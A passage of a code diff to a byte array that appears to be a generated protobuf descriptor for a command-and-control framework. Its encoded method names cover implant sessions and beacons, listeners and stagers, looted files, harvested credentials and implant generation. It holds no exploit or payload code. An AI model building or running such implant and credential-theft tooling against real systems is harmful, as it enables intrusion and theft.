0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x28, 0x01, 0x12, 0x40, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, + 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x09, + 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x10, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x2d, 0x0a, + 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0e, + 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x42, 0x65, + 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, 0x43, + 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x0c, 0x4d, + 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, + 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, + 0x62, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, + 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x40, 0x0a, 0x0f, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x43, 0x0a, 0x10, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x12, 0x47, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, + 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, + 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x12, 0x50, 0x0a, 0x17, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x12, 0x50, 0x0a, 0x17, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, - 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, - 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x64, - 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, - 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, - 0x74, 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2c, 0x0a, 0x0a, - 0x4c, 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, - 0x6f, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, - 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, 0x43, 0x72, 0x65, 0x64, - 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x72, 0x65, - 0x64, 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x31, 0x0a, - 0x07, 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, + 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, + 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, + 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, + 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, + 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, + 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, + 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x12, 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, - 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x72, - 0x65, 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, - 0x61, 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, - 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x50, 0x6c, 0x61, 0x69, - 0x6e, 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, - 0x73, 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, 0x69, 0x66, 0x66, 0x48, - 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, + 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, + 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, + 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, + 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, - 0x73, 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x48, 0x6f, 0x73, - 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, - 0x6f, 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, 0x49, 0x4f, 0x43, 0x52, - 0x6d, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, - 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x12, 0x1d, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, 0x0a, 0x19, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, - 0x53, 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, + 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 